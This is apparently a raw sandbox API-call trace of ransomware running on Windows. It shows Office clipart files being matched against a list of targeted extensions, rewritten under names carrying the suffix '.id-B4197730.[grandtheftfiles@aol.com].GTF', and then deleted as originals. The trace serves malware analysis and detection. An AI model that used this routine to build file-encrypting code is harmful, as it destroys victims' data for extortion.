	[0176.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.039] lstrlenW (lpString=".jpg") returned 4
	[0176.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.039] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.039] lstrlenW (lpString="J0152606.WMF") returned 12
	[0176.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0176.102] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=16632) returned 1
	[0176.102] CloseHandle (hObject=0x55c) returned 1
	[0176.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220
	[0176.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0176.103] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.103] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.104] GetLastError () returned 0x0
	[0176.104] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x40f8, lpOverlapped=0x0) returned 1
	[0176.169] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4100, lpOverlapped=0x0) returned 1
	[0176.171] ReadFile (in: hFile=0x55c, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.171] WriteFile (in: hFile=0x530, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.171] SetEndOfFile (hFile=0x530) returned 1
	[0176.184] CloseHandle (hObject=0x530) returned 1
	[0176.187] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.187] SetEndOfFile (hFile=0x55c) returned 1
	[0176.304] CloseHandle (hObject=0x55c) returned 1
	[0176.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1
	[0176.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.334] lstrlenW (lpString=".doc") returned 4
	[0176.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.334] lstrlenW (lpString=".docx") returned 5
	[0176.334] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.334] lstrlenW (lpString=".pdf") returned 4
	[0176.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.334] lstrlenW (lpString=".xls") returned 4
	[0176.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.334] lstrlenW (lpString=".xlsx") returned 5
	[0176.334] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.334] lstrlenW (lpString=".ppt") returned 4
	[0176.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.334] lstrlenW (lpString=".zip") returned 4
	[0176.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.334] lstrlenW (lpString=".rar") returned 4
	[0176.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.334] lstrlenW (lpString=".bz2") returned 4
	[0176.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.334] lstrlenW (lpString=".7z") returned 3
	[0176.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".dbf") returned 4
	[0176.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".1cd") returned 4
	[0176.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".jpg") returned 4
	[0176.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".doc") returned 4
	[0176.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString=".docx") returned 5
	[0176.335] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.335] lstrlenW (lpString=".pdf") returned 4
	[0176.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString=".xls") returned 4
	[0176.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.335] lstrlenW (lpString=".xlsx") returned 5
	[0176.335] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.335] lstrlenW (lpString=".ppt") returned 4
	[0176.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".zip") returned 4
	[0176.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.335] lstrlenW (lpString=".rar") returned 4
	[0176.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString=".bz2") returned 4
	[0176.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.335] lstrlenW (lpString=".7z") returned 3
	[0176.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.335] lstrlenW (lpString=".dbf") returned 4
	[0176.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.336] lstrlenW (lpString=".1cd") returned 4
	[0176.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0176.336] lstrlenW (lpString=".jpg") returned 4
	[0176.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.336] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.336] lstrlenW (lpString="J0152626.WMF") returned 12
	[0176.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.337] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=26248) returned 1
	[0176.337] CloseHandle (hObject=0x570) returned 1
	[0176.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220
	[0176.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.338] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.338] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.339] GetLastError () returned 0x0
	[0176.339] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x6688, lpOverlapped=0x0) returned 1
	[0176.344] WriteFile (in: hFile=0x374, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6690, lpOverlapped=0x0) returned 1
	[0176.346] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.346] WriteFile (in: hFile=0x374, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.346] SetEndOfFile (hFile=0x374) returned 1
	[0176.346] CloseHandle (hObject=0x374) returned 1
	[0176.346] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.346] SetEndOfFile (hFile=0x570) returned 1
	[0176.349] CloseHandle (hObject=0x570) returned 1
	[0176.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString=".doc") returned 4
	[0176.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString=".docx") returned 5
	[0176.351] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.351] lstrlenW (lpString=".pdf") returned 4
	[0176.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString=".xls") returned 4
	[0176.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.351] lstrlenW (lpString=".xlsx") returned 5
	[0176.351] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.351] lstrlenW (lpString=".ppt") returned 4
	[0176.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString=".zip") returned 4
	[0176.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.351] lstrlenW (lpString=".rar") returned 4
	[0176.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString=".bz2") returned 4
	[0176.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString=".7z") returned 3
	[0176.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString=".dbf") returned 4
	[0176.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString=".1cd") returned 4
	[0176.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.351] lstrlenW (lpString=".jpg") returned 4
	[0176.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString=".doc") returned 4
	[0176.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString=".docx") returned 5
	[0176.352] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.352] lstrlenW (lpString=".pdf") returned 4
	[0176.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString=".xls") returned 4
	[0176.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.352] lstrlenW (lpString=".xlsx") returned 5
	[0176.352] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.352] lstrlenW (lpString=".ppt") returned 4
	[0176.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString=".zip") returned 4
	[0176.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.352] lstrlenW (lpString=".rar") returned 4
	[0176.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString=".bz2") returned 4
	[0176.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString=".7z") returned 3
	[0176.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString=".dbf") returned 4
	[0176.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString=".1cd") returned 4
	[0176.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0176.352] lstrlenW (lpString=".jpg") returned 4
	[0176.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.353] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0176.353] lstrlenW (lpString="J0152628.WMF") returned 12
	[0176.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.354] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=30812) returned 1
	[0176.354] CloseHandle (hObject=0x570) returned 1
	[0176.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220
	[0176.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0176.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0176.355] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.355] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0176.356] GetLastError () returned 0x0
	[0176.356] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x785c, lpOverlapped=0x0) returned 1
	[0176.359] WriteFile (in: hFile=0x374, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x7860, lpOverlapped=0x0) returned 1
	[0176.360] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.360] WriteFile (in: hFile=0x374, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.361] SetEndOfFile (hFile=0x374) returned 1
	[0176.361] CloseHandle (hObject=0x374) returned 1
	[0176.361] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.361] SetEndOfFile (hFile=0x570) returned 1
	[0176.364] CloseHandle (hObject=0x570) returned 1
	[0176.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0176.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1
	[0176.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.365] lstrlenW (lpString=".doc") returned 4
	[0176.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.365] lstrlenW (lpString=".docx") returned 5
	[0176.365] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.365] lstrlenW (lpString=".pdf") returned 4
	[0176.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.365] lstrlenW (lpString=".xls") returned 4
	[0176.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.365] lstrlenW (lpString=".xlsx") returned 5
	[0176.365] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.365] lstrlenW (lpString=".ppt") returned 4
	[0176.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.365] lstrlenW (lpString=".zip") returned 4
	[0176.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.365] lstrlenW (lpString=".rar") returned 4
	[0176.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString=".bz2") returned 4
	[0176.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString=".7z") returned 3
	[0176.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString=".dbf") returned 4
	[0176.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString=".1cd") returned 4
	[0176.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString=".jpg") returned 4
	[0176.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString=".doc") returned 4
	[0176.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString=".docx") returned 5
	[0176.366] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0176.366] lstrlenW (lpString=".pdf") returned 4
	[0176.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString=".xls") returned 4
	[0176.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.366] lstrlenW (lpString=".xlsx") returned 5
	[0176.366] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0176.366] lstrlenW (lpString=".ppt") returned 4
	[0176.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.366] lstrlenW (lpString=".zip") returned 4
	[0176.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.366] lstrlenW (lpString=".rar") returned 4
	[0176.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.367] lstrlenW (lpString=".bz2") returned 4
	[0176.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.367] lstrlenW (lpString=".7z") returned 3
	[0176.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.367] lstrlenW (lpString=".dbf") returned 4
	[0176.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0176.367] lstrlenW (lpString=".1cd") returned 4
	[0176.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
